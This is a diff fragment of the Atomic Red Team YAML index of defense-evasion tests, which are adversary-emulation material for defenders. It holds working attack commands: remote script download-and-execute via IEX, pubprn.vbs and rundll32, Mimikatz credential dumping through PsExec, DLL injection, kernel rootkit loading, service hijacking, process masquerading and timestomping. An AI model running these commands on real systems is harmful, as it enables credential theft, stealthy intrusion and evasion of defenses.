+33367,7 @@ defense-evasion: get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" -' + ' executor: command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" @@ -33467,7 +33490,7 @@ defense-evasion: dependencies: - description: 'The 64-bit version of Microsoft Office must be installed -' + ' prereq_command: | try { $wdApp = New-Object -COMObject "Word.Application" @@ -33478,7 +33501,7 @@ defense-evasion: get_prereq_command: 'Write-Host "You will need to install Microsoft Word (64-bit) manually to meet this requirement" -' + ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 @@ -33513,7 +33536,7 @@ defense-evasion: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) -' + ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} @@ -33528,10 +33551,10 @@ defense-evasion: - description: 'PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path}) -' + ' prereq_command: 'if (Test-Path "#{psexec_path}") { exit 0} else { exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip" @@ -33542,7 +33565,7 @@ defense-evasion: command: '#{psexec_path} /accepteula \\#{machine} -c #{mimikatz_path} "lsadump::lsa /inject /id:500" "exit" -' + ' name: command_prompt elevation_required: false T1055.008: @@ -33677,7 +33700,7 @@ defense-evasion: description: 'Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload. -' + ' supported_platforms: - windows input_arguments: @@ -33689,7 +33712,7 @@ defense-evasion: command: 'cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}" -' + ' name: command_prompt T1542.004: technique: @@ -33912,7 +33935,7 @@ defense-evasion: description: 'Executes the Uninstall Method, No Admin Rights Required. Upon execution, "I shouldn''t really execute either." will be displayed. -' + ' supported_platforms: - windows input_arguments: @@ -33929,10 +33952,10 @@ defense-evasion: - description: 'The CSharp source file must exist on disk at specified location (#{source_file}) -' + ' prereq_command: 'if (Test-Path #{source_file}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{source_file}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs" -OutFile "#{source_file}" @@ -33942,7 +33965,7 @@ defense-evasion: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{output_file} cleanup_command: 'del #{output_file} >nul 2>&1 -' + ' name: command_prompt - name: Regsvcs Uninstall Method Call Test auto_generated_guid: fd3c1c6a-02d2-4b72-82d9-71c527abb126 @@ -33965,10 +33988,10 @@ defense-evasion: - description: 'The CSharp source file must exist on disk at specified location (#{source_file}) -' + ' prereq_command: 'if (Test-Path #{source_file}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{source_file}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs" -OutFile "#{source_file}" @@ -34057,7 +34080,7 @@ defense-evasion: description: 'Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched. -' + ' supported_platforms: - windows input_arguments: @@ -34077,10 +34100,10 @@ defense-evasion: dependencies: - description: 'Regsvr32.sct must exist on disk at specified location (#{filename}) -' + ' prereq_command: 'if (Test-Path #{filename}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/src/RegSvr32.sct" -OutFile "#{filename}" @@ -34115,7 +34138,7 @@ defense-evasion: description: 'Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched. -' + ' supported_platforms: - windows input_arguments: @@ -34136,10 +34159,10 @@ defense-evasion: - description: 'AllTheThingsx86.dll must exist on disk at specified location (#{dll_name}) -' + ' prereq_command: 'if (Test-Path #{dll_name}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{dll_name}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}" @@ -34147,14 +34170,14 @@ defense-evasion: command: 'IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( #{regsvr32path}\#{regsvr32name} /s #{dll_name} ) -' + ' name: command_prompt - name: Regsvr32 Registering Non DLL auto_generated_guid: 1ae5ea1f-0a4e-4e54-b2f5-4ac328a7f421 description: 'Replicating observed Gozi maldoc behavior registering a dll with an altered extension -' + ' supported_platforms: - windows input_arguments: @@ -34174,13 +34197,13 @@ defense-evasion: dependencies: - description: 'Test requires a renamed dll file -' + ' prereq_command: 'if exist #{dll_file} ( exit 0 ) else ( exit 1 ) -' + ' get_prereq_command: 'copy "C:\Windows\System32\shell32.dll" "#{dll_file}" -' + ' executor: name: command_prompt elevation_required: false @@ -34296,7 +34319,7 @@ defense-evasion: %SystemRoot%\Temp\lsass.exe /B cleanup_command: 'del /Q /F %SystemRoot%\Temp\lsass.exe >nul 2>&1 -' + ' name: command_prompt - name: Masquerading as Linux crond process. auto_generated_guid: a315bfff-7a98-403b-b442-2ea1b255e556 @@ -34312,7 +34335,7 @@ defense-evasion: /tmp/crond cleanup_command: 'rm /tmp/crond -' + ' name: sh - name: Masquerading - cscript.exe running as notepad.exe auto_generated_guid: 3a2a578b-0a01-46e4-92e3-62e2859b42f0 @@ -34328,7 +34351,7 @@ defense-evasion: cmd.exe /c %APPDATA%\notepad.exe /B cleanup_command: 'del /Q /F %APPDATA%\notepad.exe >nul 2>&1 -' + ' name: command_prompt - name: Masquerading - wscript.exe running as svchost.exe auto_generated_guid: 24136435-c91a-4ede-9da1-8b284a1c1a23 @@ -34344,7 +34367,7 @@ defense-evasion: cmd.exe /c %APPDATA%\svchost.exe /B cleanup_command: 'del /Q /F %APPDATA%\svchost.exe >nul 2>&1 -' + ' name: command_prompt - name: Masquerading - powershell.exe running as taskhostw.exe auto_generated_guid: ac9d0fc3-8aa8-4ab5-b11f-682cd63b40aa @@ -34360,7 +34383,7 @@ defense-evasion: cmd.exe /K %APPDATA%\taskhostw.exe cleanup_command: 'del /Q /F %APPDATA%\taskhostw.exe >nul 2>&1 -' + ' name: command_prompt - name: Masquerading - non-windows exe running as windows exe auto_generated_guid: bc15c13f-d121-4b1f-8c7d-28d95854d086 @@ -34383,10 +34406,10 @@ defense-evasion: dependencies: - description: 'Exe file to copy must exist on disk at specified location (#{inputfile}) -' + ' prereq_command: 'if (Test-Path #{inputfile}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{inputfile}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/bin/T1036.003.exe" -OutFile "#{inputfile}" @@ -34397,14 +34420,14 @@ defense-evasion: Stop-Process -ID $myT1036_003 cleanup_command: 'Remove-Item #{outputfile} -Force -ErrorAction Ignore -' + ' name: powershell - name: Masquerading - windows exe running as different windows exe auto_generated_guid: c3d24a39-2bfe-4c6a-b064-90cd73896cb0 description: 'Copies a windows exe, renames it as another windows exe, and launches it to masquerade as second windows exe -' + ' supported_platforms: - windows input_arguments: @@ -34423,7 +34446,7 @@ defense-evasion: Stop-Process -ID $myT1036_003 cleanup_command: 'Remove-Item #{outputfile} -Force -ErrorAction Ignore -' + ' name: powershell - name: Malicious process Masquerading as LSM.exe auto_generated_guid: 83810c46-f45e-4485-9ab6-8ed0e9e6ed7f @@ -34705,7 +34728,7 @@ defense-evasion: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) -' + ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} @@ -34719,10 +34742,10 @@ defense-evasion: - description: 'PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path}) -' + ' prereq_command: 'if (Test-Path "#{psexec_path}") { exit 0} else { exit 1} -' + ' get_prereq_command: | Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip" Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force @@ -34755,7 +34778,7 @@ defense-evasion: Write-Host "End of DCShadow" cleanup_command: 'Stop-Process -Name "mimikatz" -Force -ErrorAction Ignore -' + ' T1014: technique: id: attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b @@ -34833,7 +34856,7 @@ defense-evasion: auto_generated_guid: dfb50072-e45a-4c75-a17e-a484809c8553 description: 'Loadable Kernel Module based Rootkit -' + ' supported_platforms: - linux input_arguments: @@ -34858,10 +34881,10 @@ defense-evasion: dependencies: - description: 'The kernel module must exist on disk at specified location (#{rootkit_path}) -' + ' prereq_command: 'if [ -f #{rootkit_path} ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: | if [ ! -d #{temp_folder} ]; then mkdir #{temp_folder}; touch #{temp_folder}/safe_to_delete; fi; cp #{rootkit_source_path}/* #{temp_folder}/ @@ -34871,17 +34894,17 @@ defense-evasion: executor: command: 'sudo insmod #{rootkit_path} -' + ' cleanup_command: 'sudo rmmod #{rootkit_name} -' + ' name: sh elevation_required: true - name: Loadable Kernel Module based Rootkit auto_generated_guid: 75483ef8-f10f-444a-bf02-62eb0e48db6f description: 'Loadable Kernel Module based Rootkit -' + ' supported_platforms: - linux input_arguments: @@ -34906,11 +34929,11 @@ defense-evasion: dependencies: - description: 'The kernel module must exist on disk at specified location (#{rootkit_path}) -' + ' prereq_command: 'if [ -f /lib/modules/$(uname -r)/#{rootkit_name}.ko ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: "if [ ! -d #{temp_folder} ]; then mkdir #{temp_folder}; touch #{temp_folder}/safe_to_delete; fi;\ncp #{rootkit_source_path}/* #{temp_folder}/\ncd #{temp_folder}; make \nsudo cp #{temp_folder}/#{rootkit_name}.ko @@ -34919,7 +34942,7 @@ defense-evasion: executor: command: 'sudo modprobe #{rootkit_name} -' + ' cleanup_command: | sudo modprobe -r #{rootkit_name} sudo rm /lib/modules/$(uname -r)/#{rootkit_name}.ko @@ -34950,15 +34973,15 @@ defense-evasion: dependencies: - description: 'puppetstrings.exe must exist on disk at specified location (#{puppetstrings_path}) -' + ' prereq_command: 'if (Test-Path #{puppetstrings_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1014/bin/puppetstrings.exe" -OutFile "#{puppetstrings_path}" -' + ' executor: name: command_prompt command: "#{puppetstrings_path} #{driver_path}\n" @@ -35086,7 +35109,7 @@ defense-evasion: description: 'Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened. -' + ' supported_platforms: - windows input_arguments: @@ -35097,7 +35120,7 @@ defense-evasion: executor: command: 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec(); -' + ' name: command_prompt - name: Rundll32 execute VBscript command auto_generated_guid: 638730e7-7aed-43dc-bf8c-8117f805f5bb @@ -35115,7 +35138,7 @@ defense-evasion: executor: command: 'rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0) -' + ' name: command_prompt - name: Rundll32 advpack.dll Execution auto_generated_guid: d91cae26-7fc1-457b-a854-34c8aad48c89 @@ -35134,17 +35157,17 @@ defense-evasion: dependencies: - description: 'Inf file must exist on disk at specified location (#{inf_to_execute}) -' + ' prereq_command: 'if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}" executor: command: 'rundll32.exe advpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1, -' + ' name: command_prompt - name: Rundll32 ieadvpack.dll Execution auto_generated_guid: 5e46a58e-cbf6-45ef-a289-ed7754603df9 @@ -35164,17 +35187,17 @@ defense-evasion: dependencies: - description: 'Inf file must exist on disk at specified location (#{inf_to_execute}) -' + ' prereq_command: 'if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}" executor: command: 'rundll32.exe ieadvpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1, -' + ' name: command_prompt - name: Rundll32 syssetup.dll Execution auto_generated_guid: 41fa324a-3946-401e-bbdd-d7991c628125 @@ -35193,10 +35216,10 @@ defense-evasion: dependencies: - description: 'Inf file must exist on disk at specified location (#{inf_to_execute}) -' + ' prereq_command: 'if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}" @@ -35204,7 +35227,7 @@ defense-evasion: command: 'rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 .\#{inf_to_execute} -' + ' name: command_prompt - name: Rundll32 setupapi.dll Execution auto_generated_guid: 71d771cd-d6b3-4f34-bc76-a63d47a10b19 @@ -35223,10 +35246,10 @@ defense-evasion: dependencies: - description: 'Inf file must exist on disk at specified location (#{inf_to_execute}) -' + ' prereq_command: 'if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}" @@ -35234,7 +35257,7 @@ defense-evasion: command: 'rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 .\#{inf_to_execute} -' + ' name: command_prompt - name: Execution of HTA and VBS Files using Rundll32 and URL.dll auto_generated_guid: 22cfde89-befe-4e15-9753-47306b37a6e3 @@ -35257,7 +35280,7 @@ defense-evasion: description: 'Executes the LaunchApplication function in pcwutl.dll to proxy execution of an executable. -' + ' supported_platforms: - windows input_arguments: @@ -35268,7 +35291,7 @@ defense-evasion: executor: command: 'rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch} -' + ' name: command_prompt T1134.005: technique: @@ -35667,7 +35690,7 @@ defense-evasion: description: 'Change Service registry ImagePath of a bengin service to a malicious file -' + ' supported_platforms: - windows input_arguments: @@ -35687,22 +35710,22 @@ defense-evasion: dependencies: - description: 'The service must exist (#{weak_service_name}) -' + ' prereq_command: 'if (Get-Service #{weak_service_name}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'sc.exe create #{weak_service_name} binpath= "#{weak_service_path}" -' + ' executor: command: 'reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "#{malicious_service_path}" -' + ' cleanup_command: 'sc.exe delete #{weak_service_name} -' + ' name: command_prompt T1548.001: technique: @@ -35758,7 +35781,7 @@ defense-evasion: description: 'Make, change owner, and change file attributes on a C source code file -' + ' supported_platforms: - macos - linux @@ -35784,7 +35807,7 @@ defense-evasion: auto_generated_guid: 759055b3-3885-4582-a8ec-c00c9d64dd79 description: 'This test sets the SetUID flag on a file in Linux and macOS. -' + ' supported_platforms: - macos - linux @@ -35800,14 +35823,14 @@ defense-evasion: sudo chmod u+s #{file_to_setuid} cleanup_command: 'sudo rm #{file_to_setuid} -' + ' name: sh elevation_required: true - name: Set a SetGID flag on file auto_generated_guid: db55f666-7cba-46c6-9fe6-205a05c3242c description: 'This test sets the SetGID flag on a file in Linux and macOS. -' + ' supported_platforms: - macos - linux @@ -35823,7 +35846,7 @@ defense-evasion: sudo chmod g+s #{file_to_setuid} cleanup_command: 'sudo rm #{file_to_setuid} -' + ' name: sh elevation_required: true - name: Make and modify capabilities of a binary @@ -35855,7 +35878,7 @@ defense-evasion: description: 'This test gives a file the capability to set UID without using flags. -' + ' supported_platforms: - linux input_arguments: @@ -35869,7 +35892,7 @@ defense-evasion: sudo setcap cap_setuid=ep #{file_to_setcap} cleanup_command: 'rm #{file_to_setcap} -' + ' name: sh elevation_required: true T1218: @@ -35928,7 +35951,7 @@ defense-evasion: description: 'Injects arbitrary DLL into running process specified by process ID. Requires Windows 10. -' + ' supported_platforms: - windows input_arguments: @@ -35944,17 +35967,17 @@ defense-evasion: dependencies: - description: 'T1218.dll must exist on disk at specified location (#{dll_payload}) -' + ' prereq_command: 'if (Test-Path #{dll_payload}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/x64/T1218.dll" -OutFile "#{dll_payload}" executor: command: 'mavinject.exe #{process_id} /INJECTRUNNING #{dll_payload} -' + ' name: command_prompt elevation_required: true - name: SyncAppvPublishingServer - Execute arbitrary PowerShell code @@ -35962,7 +35985,7 @@ defense-evasion: description: 'Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe. Requires Windows 10. -' + ' supported_platforms: - windows input_arguments: @@ -35973,14 +35996,14 @@ defense-evasion: executor: command: 'SyncAppvPublishingServer.exe "n; #{powershell_code}" -' + ' name: command_prompt - name: Register-CimProvider - Execute evil dll auto_generated_guid: ad2c17ed-f626-4061-b21e-b9804a6f3655 description: 'Execute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB -' + ' supported_platforms: - windows input_arguments: @@ -35992,17 +36015,17 @@ defense-evasion: dependencies: - description: 'T1218-2.dll must exist on disk at specified location (#{dll_payload}) -' + ' prereq_command: 'if (Test-Path #{dll_payload}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}" executor: command: 'C:\Windows\SysWow64\Register-CimProvider.exe -Path #{dll_payload} -' + ' name: command_prompt - name: InfDefaultInstall.exe .inf Execution auto_generated_guid: 54ad7d5a-a1b5-472c-b6c4-f8090fb2daef @@ -36021,17 +36044,17 @@ defense-evasion: dependencies: - description: 'INF file must exist on disk at specified location (#{inf_to_execute}) -' + ' prereq_command: 'if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Infdefaultinstall.inf" -OutFile "#{inf_to_execute}" executor: command: 'InfDefaultInstall.exe #{inf_to_execute} -' + ' name: command_prompt - name: ProtocolHandler.exe Downloaded a Suspicious File auto_generated_guid: db020456-125b-4c8b-a4a7-487df8afb5a2 @@ -36039,7 +36062,7 @@ defense-evasion: Office. On successful execution you should see Microsoft Word launch a blank file. -' + ' supported_platforms: - windows input_arguments: @@ -36052,15 +36075,15 @@ defense-evasion: - description: 'Microsoft Word must be installed with the correct path and protocolhandler.exe must be provided -' + ' prereq_command: 'if (Test-Path "(Resolve-Path "C:\Program Files*\Microsoft Office\root\Office16")\protocolhandler.exe") {exit 0} else {exit 1} -' + ' get_prereq_command: 'write-host "Install Microsoft Word or provide correct path." -' + ' executor: name: command_prompt elevation_required: false @@ -36072,7 +36095,7 @@ defense-evasion: description: 'Emulates attack with Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe -' + ' supported_platforms: - windows input_arguments: @@ -36094,15 +36117,15 @@ defense-evasion: prereq_command: 'if (Test-Path #{mwcpath}\#{mwcname} ) {exit 0} else {exit 1} -' + ' get_prereq_command: 'write-host ".Net must be installed for this test to work correctly." -' + ' executor: command: '#{mwcpath}\#{mwcname} "#{xml_payload}" output.txt -' + ' name: powershell elevation_required: false - name: Renamed Microsoft.Workflow.Compiler.exe Payload Executions @@ -36110,7 +36133,7 @@ defense-evasion: description: 'Emulates attack with a renamed Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe -' + ' supported_platforms: - windows input_arguments: @@ -36139,7 +36162,7 @@ defense-evasion: get_prereq_command: 'write-host "you need to rename workflow complier before you run this test" -' + ' executor: command: "#{renamed_binary} #{xml_payload} output.txt\n" name: powershell @@ -36182,7 +36205,7 @@ defense-evasion: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -ModulePath #{module_path}' @@ -36249,14 +36272,14 @@ defense-evasion: executor: command: 'C:\windows\system32\SyncAppvPublishingServer.vbs "\n;#{command_to_execute}" -' + ' name: command_prompt - name: manage-bde.wsf Signed Script Command Execution auto_generated_guid: 2a8f2d3c-3dec-4262-99dd-150cb2a4d63a description: 'Executes the signed manage-bde.wsf script with options to execute an arbitrary command. -' + ' supported_platforms: - windows input_arguments: @@ -36270,7 +36293,7 @@ defense-evasion: cscript %windir%\System32\manage-bde.wsf cleanup_command: 'set comspec=%windir%\System32\cmd.exe -' + ' name: command_prompt T1027.002: technique: @@ -36346,10 +36369,10 @@ defense-evasion: executor: command: 'cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin -' + ' cleanup_command: 'rm /tmp/packed_bin -' + ' name: sh - name: Binary packed by UPX, with modified headers (linux) auto_generated_guid: f06197f8-ff46-48c2-a0c6-afc1b50665e1 @@ -36368,10 +36391,10 @@ defense-evasion: executor: command: 'cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin -' + ' cleanup_command: 'rm /tmp/packed_bin -' + ' name: sh - name: Binary simply packed by UPX auto_generated_guid: b16ef901-00bb-4dda-b4fc-a04db5067e20 @@ -36388,10 +36411,10 @@ defense-evasion: executor: command: 'cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin -' + ' cleanup_command: 'rm /tmp/packed_bin -' + ' name: sh - name: Binary packed by UPX, with modified headers auto_generated_guid: 4d46e16b-5765-4046-9f25-a600d3e65e4d @@ -36410,10 +36433,10 @@ defense-evasion: executor: command: 'cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin -' + ' cleanup_command: 'rm /tmp/packed_bin -' + ' name: sh T1036.006: technique: @@ -36467,7 +36490,7 @@ defense-evasion: auto_generated_guid: 89a7dd26-e510-4c9f-9b15-f3bae333360f description: 'Space After Filename -' + ' supported_platforms: - macos executor: @@ -36683,7 +36706,7 @@ defense-evasion: auto_generated_guid: 150c3a08-ee6e-48a6-aeaf-3659d24ceb4e description: 'Common Sudo enumeration methods. -' + ' supported_platforms: - macos - linux @@ -36697,7 +36720,7 @@ defense-evasion: This is dangerous to modify without using ''visudo'', do not do this on a production system. -' + ' supported_platforms: - macos - linux @@ -36712,7 +36735,7 @@ defense-evasion: description: 'Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using ''visudo'', do not do this on a production system. -' + ' supported_platforms: - macos - linux @@ -36822,7 +36845,7 @@ defense-evasion: | grep -iE ''Oracle|VirtualBox|VMWare|Parallels'') then echo "Virtualization Environment detected"; fi; -' + ' - name: Detect Virtualization Environment (Windows) auto_generated_guid: 502a7dc4-9d6f-4d28-abf2-f0e84692562d description: 'Windows Management Instrumentation(WMI) objects contains system @@ -36832,7 +36855,7 @@ defense-evasion: This is meant to find the result of Not supported, which is the result if run in a virtual machine -' + ' supported_platforms: - windows executor: @@ -36849,7 +36872,7 @@ defense-evasion: the system. If it''s a virtual machine, one of the device manufacturer will be a Virtualization Software. -' + ' supported_platforms: - macos executor: @@ -36859,7 +36882,7 @@ defense-evasion: ''Oracle|VirtualBox|VMWare|Parallels'') then echo ''Virtualization Environment detected''; fi; -' + ' T1542.001: technique: id: attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada @@ -37099,7 +37122,7 @@ defense-evasion: executor: command: 'start #{docx_file} -' + ' name: command_prompt T1055.003: technique: @@ -37342,7 +37365,7 @@ defense-evasion: auto_generated_guid: 5f9113d5-ed75-47ed-ba23-ea3573d05810 description: 'Stomps on the access timestamp of a file -' + ' supported_platforms: - linux - macos @@ -37354,13 +37377,13 @@ defense-evasion: executor: command: 'touch -a -t 197001010000.00 #{target_filename} -' + ' name: sh - name: Set a file's modification timestamp auto_generated_guid: 20ef1523-8758-4898-b5a2-d026cc3d2c52 description: 'Stomps on the modification timestamp of a file -' + ' supported_platforms: - linux - macos @@ -37372,7 +37395,7 @@ defense-evasion: executor: command: 'touch -m -t 197001010000.00 #{target_filename} -' + ' name: sh - name: Set a file's creation timestamp auto_generated_guid: 8164a4a6-f99c-4661-ac4f-80f5e4e78d2b @@ -37418,7 +37441,7 @@ defense-evasion: executor: command: 'touch -acmr #{reference_file_path} #{target_file_path} -' + ' name: sh - name: Windows - Modify file creation timestamp with PowerShell auto_generated_guid: b3b2c408-2ff0-4a33-b89b-1cb46a9e6a9c @@ -37441,10 +37464,10 @@ defense-evasion: - description: 'A file must exist at the path (#{file_path}) to change the creation time on -' + ' prereq_command: 'if (Test-Path #{file_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Path #{file_path} -Force | Out-Null Set-Content #{file_path} -Value "T1551.006 Timestomp" -Force | Out-Null @@ -37452,10 +37475,10 @@ defense-evasion: command: 'Get-ChildItem #{file_path} | % { $_.CreationTime = "#{target_date_time}" } -' + ' cleanup_command: 'Remove-Item #{file_path} -Force -ErrorAction Ignore -' + ' name: powershell - name: Windows - Modify file last modified timestamp with PowerShell auto_generated_guid: f8f6634d-93e1-4238-8510-f8a90a20dcf2 @@ -37478,10 +37501,10 @@ defense-evasion: - description: 'A file must exist at the path (#{file_path}) to change the modified time on -' + ' prereq_command: 'if (Test-Path #{file_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Path #{file_path} -Force | Out-Null Set-Content #{file_path} -Value "T1551.006 Timestomp" -Force | Out-Null @@ -37489,10 +37512,10 @@ defense-evasion: command: 'Get-ChildItem #{file_path} | % { $_.LastWriteTime = "#{target_date_time}" } -' + ' cleanup_command: 'Remove-Item #{file_path} -Force -ErrorAction Ignore -' + ' name: powershell - name: Windows - Modify file last access timestamp with PowerShell auto_generated_guid: da627f63-b9bd-4431-b6f8-c5b44d061a62 @@ -37515,10 +37538,10 @@ defense-evasion: - description: 'A file must exist at the path (#{file_path}) to change the last access time on -' + ' prereq_command: 'if (Test-Path #{file_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Path #{file_path} -Force | Out-Null Set-Content #{file_path} -Value "T1551.006 Timestomp" -Force | Out-Null @@ -37526,10 +37549,10 @@ defense-evasion: command: 'Get-ChildItem #{file_path} | % { $_.LastAccessTime = "#{target_date_time}" } -' + ' cleanup_command: 'Remove-Item #{file_path} -Force -ErrorAction Ignore -' + ' name: powershell - name: Windows - Timestomp a File auto_generated_guid: d7512c33-3a75-4806-9893-69abc3ccdd43 @@ -37547,25 +37570,25 @@ defense-evasion: dependencies: - description: 'timestomp.ps1 must be present in #{file_path}. -' + ' prereq_command: 'if (Test-Path #{file_path}\timestomp.ps1) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-WebRequest "https://raw.githubusercontent.com/mitre-attack/attack-arsenal/bc0ba1d88d026396939b6816de608cb279bfd489/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/timestomp.ps1" -OutFile "#{file_path}\timestomp.ps1" -' + ' - description: 'kxwn.lock must be present in #{file_path}. -' + ' prereq_command: 'if (Test-Path -path "#{file_path}\kxwn.lock") {exit 0} else {exit 1} -' + ' get_prereq_command: 'New-Item -Path #{file_path}\kxwn.lock -ItemType File -' + ' executor: command: | import-module #{file_path}\timestomp.ps1 @@ -38539,10 +38562,10 @@ defense-evasion: - description: 'Test requrires a file to take ownership of to be located at (#{file_folder_to_own}) -' + ' prereq_command: 'IF EXIST #{file_folder_to_own} ( EXIT 0 ) ELSE ( EXIT 1 ) -' + ' get_prereq_command: | mkdir #{file_folder_to_own} echo T1222.001_takeown1 >> #{file_folder_to_own}\T1222.001_takeown1.txt @@ -38550,7 +38573,7 @@ defense-evasion: executor: command: 'takeown.exe /f #{file_folder_to_own} /r -' + ' name: command_prompt - name: cacls - Grant permission to specified user or group recursively auto_generated_guid: a8206bcc-f282-40a9-a389-05d9c0263485 @@ -38573,10 +38596,10 @@ defense-evasion: dependencies: - description: 'Test requrires a file to modify to be located at (#{file_or_folder}) -' + ' prereq_command: 'IF EXIST #{file_or_folder} ( EXIT 0 ) ELSE ( EXIT 1 ) -' + ' get_prereq_command: | mkdir #{file_or_folder} echo T1222.001_cacls1 >> #{file_or_folder}\T1222.001_cacls1.txt @@ -38584,7 